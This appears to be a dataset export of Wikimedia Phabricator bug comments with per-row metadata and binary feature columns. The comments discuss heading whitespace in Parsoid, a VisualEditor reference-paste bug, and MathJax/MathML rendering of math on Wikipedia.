+241328,Default whitespace for headings should include spaces before/after ==,"Change 96790 merged by jenkins-bot:
+(Bug 51744) Add space around = chars in new headings
+
+https://gerrit.wikimedia.org/r/96790",,,1386114683,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,False,,,22,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241326,Default whitespace for headings should include spaces before/after ==,"Change 96790 had a related patch set uploaded by Subramanya Sastry:
+(Bug 51744) Add space around = chars in new headings
+
+https://gerrit.wikimedia.org/r/96790",,,1385054475,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+241322,Default whitespace for headings should include spaces before/after ==,"(In reply to comment #5)
+> I assume these
+> extra spaces will not be an issue on enwp and doesn't violate any style
+> guidelines there?
+
+No, per [[MOS:HEAD]], ""Spaces between the equal signs and the heading text are optional, and will not affect the way the heading is displayed"". It doesn't mention anything about them being uncool, and most of the wikis I frequent use them for readability.",,,1385053828,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,True,,,20,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1
+241317,Default whitespace for headings should include spaces before/after ==,"Okay, I started to tackle this. The basic fix is quite simple, but it introduces a ton of noisy diffs in our parser tests and it will likely introduce a lot of noisy diffs in roundtrip testing as well. We could fix our testing infrastructure to ignore them, but a better solution is to leave existing headings untouched.
+
+I can instead add this rule on new headings and leave old headings untouched.
+
+But, looking at pages on enwp, I see (by clicking around on a about 10 ""random"" pages) that most headings don't use spaces after/before ""=="". I assume these extra spaces will not be an issue on enwp and doesn't violate any style guidelines there?",,,1385053073,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,True,,,20,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,0
+241311,Default whitespace for headings should include spaces before/after ==,"The French Wikipedia would be interested in this change as well, since they use a lot of ""extra"" spaces, and the headers are no exception.",,,1383167033,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+241306,Default whitespace for headings should include spaces before/after ==,"(In reply to comment #2)
+> (In reply to comment #1)
+> > It would be very helpful if you can provide a list of any other default
+> > whitespace rules for other wikitext elements.  It is simpler to implement
+> > this
+> > in one shot rather than piecemeal.
+> 
+> Sorry, I post these when I notice Parsoid is doing things not in my way :)
+
+Thats okay.  I was not complaining, just making a request. :).  
+
+You can test existing Parsoid behavior @ http://parsoid.wmflabs.org/_html/ and report what needs fixing.",,,1374331135,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,True,,,2,,1,0,1,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,1
+241302,Default whitespace for headings should include spaces before/after ==,"(In reply to comment #1)
+> It would be very helpful if you can provide a list of any other default
+> whitespace rules for other wikitext elements.  It is simpler to implement
+> this
+> in one shot rather than piecemeal.
+
+Sorry, I post these when I notice Parsoid is doing things not in my way :)
+
+
+> Right now, we cannot implement different rules for different wikipedias, but,
+> if necessary, something that we could consider at a later point.  So, can you
+> also include some information, if you have, about whether the style rules are
+> universal or specific to pl.wp?
+
+Yeah, of course. No idea if any other wikis use any similar cleanup tools as pl.wp, but in general more whitespace is more readable than less (wikitext is just like code in this regard :) ).
+
+The tools pl.wp uses is [[pl:MediaWiki:Gadget-sk.js]], but be aware that it also includes some non-code cleanup and some pl.wp-specific rules for template replacements etc.",,,1374330631,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,True,,,2,,1,1,1,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+241296,Default whitespace for headings should include spaces before/after ==,"It would be very helpful if you can provide a list of any other default whitespace rules for other wikitext elements.  It is simpler to implement this in one shot rather than piecemeal.
+
+Right now, we cannot implement different rules for different wikipedias, but, if necessary, something that we could consider at a later point.  So, can you also include some information, if you have, about whether the style rules are universal or specific to pl.wp?",,,1374330299,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-eebs7mwekgwvhg5ap6qk,task_subcomment,,True,c1,3,True,,,2,,1,1,1,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,0,1,0,0
+53725,"VisualEditor: Rich content copied from sub-documents (image captions, references, etc.) down-cast to plain text when the sub-document is closed","**Author:** `lunarjam.mcgahan`
+
+**Description:**
+Wikipedia VE bug Reference with no parameter tags not editable in Chrome on Win7
+
+See attached Word document Wikipedia VE bug Reference with no parameter tags not editable in Chrome on Win7
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11354}",Medium,50.0,1374285540,1535731638.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-3ree5vwpvfff7nqhn3qg,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+1133416,"VisualEditor: Rich content copied from sub-documents (image captions, references, etc.) down-cast to plain text when the sub-document is closed","Indeed, this seems to no longer be a problem (testing the reproduction steps by @jayvdb). Rich text is correctly pasted.",,,1535731638,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-3ree5vwpvfff7nqhn3qg,task_subcomment,,True,c1,3,True,,,269,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0
+580858,"VisualEditor: Rich content copied from sub-documents (image captions, references, etc.) down-cast to plain text when the sub-document is closed","Today it seems to work well. (Firefox 42)
+Or I have not undestood.",,,1450389552,,PHID-USER-unpoeiyj52rmcfqi5rbw,False,,,PHID-TASK-3ree5vwpvfff7nqhn3qg,task_subcomment,,True,c1,3,False,,,128,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+240133,"VisualEditor: Rich content copied from sub-documents (image captions, references, etc.) down-cast to plain text when the sub-document is closed",*** Bug 65593 has been marked as a duplicate of this bug. ***,,,1415063196,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3ree5vwpvfff7nqhn3qg,task_subcomment,,True,c1,3,True,,,70,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240127,"VisualEditor: Rich content copied from sub-documents (image captions, references, etc.) down-cast to plain text when the sub-document is closed","This is similar to bug 33105 and bug 41193, but this bug is more specific as it is within the same window.
+
+Steps to reproduce:
+1. Create a reference with '[http:example.com example], publisher, year'
+2. Open dialog for reference created in step 1
+3. Copy the richtext reference and close the dialog
+4. Insert reference anywhere, and paste the clipboard
+
+Results:
+Plain text paste 'example, publisher, year'
+
+Expected results:
+Richtext paste '[http:example.com example], publisher, year'",,,1374756959,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3ree5vwpvfff7nqhn3qg,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,1,0,1
+240123,"VisualEditor: Rich content copied from sub-documents (image captions, references, etc.) down-cast to plain text when the sub-document is closed","**lunarjam.mcgahan** wrote:
+
+Further information
+
+See attachment Bug 51725 further explanation
+
+**Attached**: {F11355}",,,1374633830,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-3ree5vwpvfff7nqhn3qg,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+240118,"VisualEditor: Rich content copied from sub-documents (image captions, references, etc.) down-cast to plain text when the sub-document is closed","That ref is only on one page, in English and Thai
+https://www.google.com.au/search?q=""History of the Vardo""+site:wikipedia.org
+
+And I was able to do a basic edit to that ref on Chrome Version 28.0.1500.72 m/Windows 7 Enterprise SP1, in Vector and Monobook
+
+https://en.wikipedia.org/w/index.php?title=Recreational_vehicle&diff=565400866&oldid=565097139
+
+https://en.wikipedia.org/w/index.php?title=Recreational_vehicle&diff=565401640&oldid=565400866
+
+https://th.wikipedia.org/w/index.php?diff=5049776&oldid=4731458
+
+There must be something more specific needed to reproduce this.",,,1374538584,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3ree5vwpvfff7nqhn3qg,task_subcomment,,True,c1,3,False,,,3,,0,1,0,0,0,1,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,1
+240112,"VisualEditor: Rich content copied from sub-documents (image captions, references, etc.) down-cast to plain text when the sub-document is closed","The contents of the attached Word document, to the extent that LibreOffice will display them, seem to be:
+
+The source code is as follows:
+<ref>[http://gypsywaggons.co.uk/varhistory.htm ""History of the Vardo (Gypsy Caravan)""], ValleyStream Media, 2009</ref>
+
+Was there a screenshot that you meant to include? Could you give us a link to the article? Could you explain the problem in more detail?",,,1374296176,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3ree5vwpvfff7nqhn3qg,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1
+53698,Parsoid: Output MathJax rendering for Math tags instead of images,"When MathJax is enabled we should render a <span> containing TeX, instead of an image.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1374264060,1442497839.0,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-m5725ohwtikdne7f72hd,task_description,invalid,True,c1,3,True,True,False,2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+529358,Parsoid: Output MathJax rendering for Math tags instead of images,MathJax support is discountinued T99369,,,1442497839,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,115,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+238639,Parsoid: Output MathJax rendering for Math tags instead of images,Mathjax is interesting for ZIM files and Kiwix because this would allow to reduce bandwidth/storage usage. Hope this is still on the Parsoid roadmap.,,,1402834289,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,False,,,49,,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+238630,Parsoid: Output MathJax rendering for Math tags instead of images,"(In reply to comment #12)
+
+Thanks, Gabriel! That's very helpful.
+
+> I'm also looking forward to learning more about LaTeXML vs. MathJax options.
+> No browser supports Content MathML currently. The question then is if it is
+> still useful to produce it for search while always rendering via Presentation
+> MathML and/or server-generated SVG.
+
+That's a good question. Especially, if Content MathML from TeX  can be good enough (with ""random"" authoring instead of firm semantic guidelines).
+
+> Copy&pasting entire formulas should be possible as long as our data-mw
+> attribute on the outer wrapper node is preserved. That has the TeX source,
+> which can be used to re-render the contents from scratch. This will enable
+> copy&pasting of entire sections including formulas.
+
+That would be awesome. Subexpressions seems impossible right now -- but one day, with shadowdom and a lot of great heuristics it might just work...
+
+> Are there popular screen readers that handle math? I agree that MathML is
+> probably better in the longer term, but for current screen readers a speech
+> string could still be a useful fall-back. At least if that would not prevent
+> a plugin like math player from using the MathML instead.
+
+A static speech string is never a bad idea for legacy screen readers. There are only two math accessibility solutions, MathPlayer and ChromeVox. AFAIK a number of screen readers ship MathPlayer but I'm not an expert on screen readers. 
+
+Since ChromeVox is mostly JavaScript (and open source), an obvious idea is to create a MathJax extension based on its technology.
+
+The thing is that accessibility is about more than aural rendering; in particular synchronized highlighting is extremely important for learning and other non-vision disabilities. That can't work with static strings.
+
+> I think nobody is suggesting to generate *only* SVG. 
+
+I'm glad I misunderstood you :)
+
+> I'm not sure about the need for reflow in Wikipedia, as the limits of texvc 
+> seem to have motivated authors to handle this manually in TeX.
+
+I seem to have a very different experience :( Anyway, right now PNGs are the only option on mobile (bug 45816).",,,1378528443,,PHID-USER-nnhp4dmr6oozfejddbom,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,False,,,9,,0,0,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+238621,Parsoid: Output MathJax rendering for Math tags instead of images,"(In reply to comment #11)
+
+Peter, thanks for your input!
+
+> Are you just collecting thoughts on this? Are you thinking about long term or
+> short term? Is the topic now the back end or is it still the front end (as
+> the
+> issue title suggests)? 
+
+In the Parsoid project we are developing a long-term HTML storage format for Wikipedia content. The VisualEditor uses our HTML, but also has the freedom to cut some corners for display in the shorter term. However, our long-term goal is to use Parsoid HTML also for regular page views. This is why we are now thinking about issues like copy&paste from read-only pages into a VisualEditor instance while refining the DOM spec at http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec.
+
+Because of its rich metadata, Parsoid HTML is also useful for researchers and search engines. Ideally we'd also like to expose math in a way that works well for both content analysis / indexing *and* display.
+
+> I'm meeting Martin Schubotz (the author of the arXiv link)
+> over the next few days, so I hope to learn more about his projects (and he's
+> coming up to WMF after that I hear so that's awesome).
+
+I'm also looking forward to learning more about LaTeXML vs. MathJax options. No browser supports Content MathML currently. The question then is if it is still useful to produce it for search while always rendering via Presentation MathML and/or server-generated SVG.
+
+> From a search point of view there doesn't seem to be much difference (but of
+> course a specific search technology might prefer Content, Presentation, or
+> TeX).
+
+That might be, although Martin suggests that Content is better for search in his paper.
+
+> Copy&paste is tricky. Yes, it works in FF, but often OS clipboards do not
+> know
+> how to handle it, apps sanitize it away etc. MathJax offers a context menu to
+> access TeX & MathML source (and in our upcoming release any annotation-xml);
+> cumbersome but it works everywhere. We are considering web components /
+> shadow
+> dom, but given the state of support that's for the future (current
+> implementations have some funky copy&paste behavior).
+
+Copy&pasting entire formulas should be possible as long as our data-mw attribute on the outer wrapper node is preserved. That has the TeX source, which can be used to re-render the contents from scratch. This will enable copy&pasting of entire sections including formulas.
+
+I also get the impression that copy&pasting parts of a formula directly might not be feasible. It works with Presentation MathML in FF, but that would not be useful as we don't have a way to convert that back to TeX. It might make more sense to let users copy the TeX and insert that in a new formula using a widget.
+
+> * generating static speech strings is the lowest form of a11y, especially
+> when
+> you could use MathJax which math accessibility tools support.
+
+Are there popular screen readers that handle math? I agree that MathML is probably better in the longer term, but for current screen readers a speech string could still be a useful fall-back. At least if that would not prevent a plugin like math player from using the MathML instead.
+
+> * generating static images of any kind will remove all the advantages of
+> reflowable and accessible content.
+
+I think nobody is suggesting to generate *only* SVG. I'm not sure about the need for reflow in Wikipedia, as the limits of texvc seem to have motivated authors to handle this manually in TeX.",,,1378509011,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,9,,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,1,1
+238615,Parsoid: Output MathJax rendering for Math tags instead of images,"Arg -- I had responded twice, twice it was lost... Trying again.
+
+===
+
+On Sept 4 (after the IRC chat log) I tried to post:
+
+Obviously, I'd love to see MathML + MathJax on Wikipedia. That would be a huge step forward for math on the web, accessibility, and education. 
+
+But on the wikitech-I thread I started a while ago, there was a bit of uneasiness when it comes to MathJax performance, especially on mobile. I got the feeling that fallback images will be required for a while. Perhaps SVG might be better though and MathJax could help there, too. 
+
+MathJax is modular on input, internal and output which is sometimes confusing in discussions; so yes we have an HTML/CSS output and an SVG output. At the same time, the texlive+texvc backend is a bit horrible. Personally, I think LateXML is a great tool for converting full LaTeX documents but I worry that you'll need another texvc to limit it -- it's too powerful. MathJax might just fit better because of its restricted syntax (and is extensible through javascript). Obviously, I'm terribly biased. For the record, LaTeXML is miles better than texvc. I'm meeting Martin Schubotz (the author of the arXiv link) over the next few days, so I hope to learn more about his projects (and he's coming up to WMF after that I hear so that's awesome).
+
+Copy&paste is tricky. Yes, it works in FF, but often OS clipboards do not know how to handle it, apps sanitize it away etc. MathJax offers a context menu to access TeX & MathML source (and in our upcoming release any annotation-xml); cumbersome but it works everywhere. We are considering web components / shadow dom, but given the state of support that's for the future (current implementations have some funky copy&paste behavior).
+
+I did get the strong impression on wikitech-I that wiktext should keep TeX as its internal format, so I'm wondering what you have in mind for pasting MathML. MathML isn't semantically rich enough to produce human readable TeX.
+
+Regarding Content MathML, that's a topic of debate. I'm not an expert on Content MathML but I've heard relatively negative things about it from a semantic point of view. A case in point is that accessibility tools don't do better on Content MathML than on Presentation MathML -- they build their own semantic structures on top of it anyway. In any case, you don't see a lot ContentMathML in the wild since no one can render it.
+
+From a search point of view there doesn't seem to be much difference (but of course a specific search technology might prefer Content, Presentation, or TeX).
+
+It's more important to produce high quality Presentation MathML instead of low quality Content MathML. MathML today is a bit like HTML 1 -- we have the language, some basic rendering, that's it. MathML has missed out on 20 years of web development (although it's the de-facto standard in publishing and technical writing workflows). MathML on Wikipedia would be important to push things forward but small steps in what's currently possible would be better.
+
+
+====
+
+Yesterday I tried to post:
+
+cc'ing Fred and Moritz who have been actively working on the math extension recently.
+
+@Gabriel I'm a bit confused by your last two messages. [[well, less so after seeing that mine didn't get through]] 
+
+Are you just collecting thoughts on this? Are you thinking about long term or short term? Is the topic now the back end or is it still the front end (as the issue title suggests)? 
+
+Anyway, here a few more thoughts, trying to provide some outside input.
+
+* Content MathML won't help on the front end -- you need Presentation MathML on the front end and use polyfills where necessary. MathJax works on all current browsers and while older machines and older Android devices may still see performance issues, those will continue to improve. Replacing images (PNG or SVG) on the fly is a progressive enhancement on all systems.
+* the prototype that Gerardo mentioned combines MathJax and ChromeVox, so you'll run into the same problem for MathML support.
+* generating static speech strings is the lowest form of a11y, especially when you could use MathJax which math accessibility tools support.
+* generating static images of any kind will remove all the advantages of reflowable and accessible content.
+* the math extension does not yet use LaTeXML but Fred and Martin are working on that.
+
+I can't help but point out that there are also a number of serious issues with WIkipedia's math that are more important than ContentMathML. For example, there's no display math mode which is an incredible shortcoming. There's also poor unicode support and poor RTL support. None of this will improve by switching to Content MathML -- garbage in, garbage out would be the result.",,,1378492816,,PHID-USER-nnhp4dmr6oozfejddbom,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,False,,,9,,1,0,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,1,1
+238609,Parsoid: Output MathJax rendering for Math tags instead of images,"MathJax only works with Presentation MathML: 
+http://www.mathjax.org/resources/faqs/#problem-content
+
+It also accepts only Presentation MathML as input. 
+
+We might actually be better off using LaTeXML (https://www.mediawiki.org/wiki/Extension:Math#LaTeXML) to generate Content MathML. LaTeXML provides a web service that we could probably use directly. SVG can be generated with dvisvg from the TeX source. Afaik this is already used in the math extension.",,,1378428362,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,9,,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+238603,Parsoid: Output MathJax rendering for Math tags instead of images,"Just had a meeting with Gerardo Capiel in which we also talked about math. He was involved in a node / MathJax prototype that renders to SVG plus a textual description of the formula suitable for screen readers. It might be possible to use that to avoid the need for client-side rendering altogether:
+
+* Content MathML as primary rendering for indexing and good rendering in Firefox
+* Server-generated SVG fallback for fast rendering on other browsers
+* Textual description for screen readers
+* tex in data-mw for editing
+
+The fall-back selection needs to be worked out, and might depend on JS. Compared to client-side rendering from TeX with MathJax this should be pretty fast. Ideally the DOM will not be modified, so that copy&pasting from a read-only page into an editor preserves all information.",,,1378426992,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,9,,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+238594,Parsoid: Output MathJax rendering for Math tags instead of images,"Very relevant: http://arxiv.org/abs/1304.5475
+
+How does the MathML generated by MathJax compare to the 'content MathML' generated by LaTeXML? Is it purely presentational MathML?",,,1378359915,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,9,,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0
+238588,Parsoid: Output MathJax rendering for Math tags instead of images,"We currently render as PNG with the tex available in an attribute. It would be nicer both for semantic information / indexing purposes and copy / pasting to render as MathML instead. MathJax could be used server-side to generate the MathML from tex, and client-side as a polyfill to provide HTML+CSS (or image?) rendering for browsers that don't support MathML well.
+
+Copy / pasting native MathML seemed to work quite well the last time I tried it in Firefox and vanilla contenteditable. MathJax-inserted HTML+CSS will likely not do so well unless we preserve the MathML and especially the tex in the data-mw attribute. At least entire formulas could be copy/pastable that way though.",,,1378359248,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-m5725ohwtikdne7f72hd,task_subcomment,,True,c1,3,True,,,9,,0,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,1,0
+238581,Parsoid: Output MathJax rendering for Math tags instead of images,"Thanks for pointing me to this thread, Gabriel. 
+
+Let me add https://bugzilla.wikimedia.org/show_bug.cgi?id=48036. 
+
+If there's PNG+TeX in the page, then MathJax can replace the image on the fly. That will produce a nice user experience as the math will always be visible and only improve once MathJax is done (cf this Chrome extension https://chrome.google.com/webstore/detail/wikipedia-with-mathjax/fhomhkjcommffnlajeemenejemmegcmi).
+
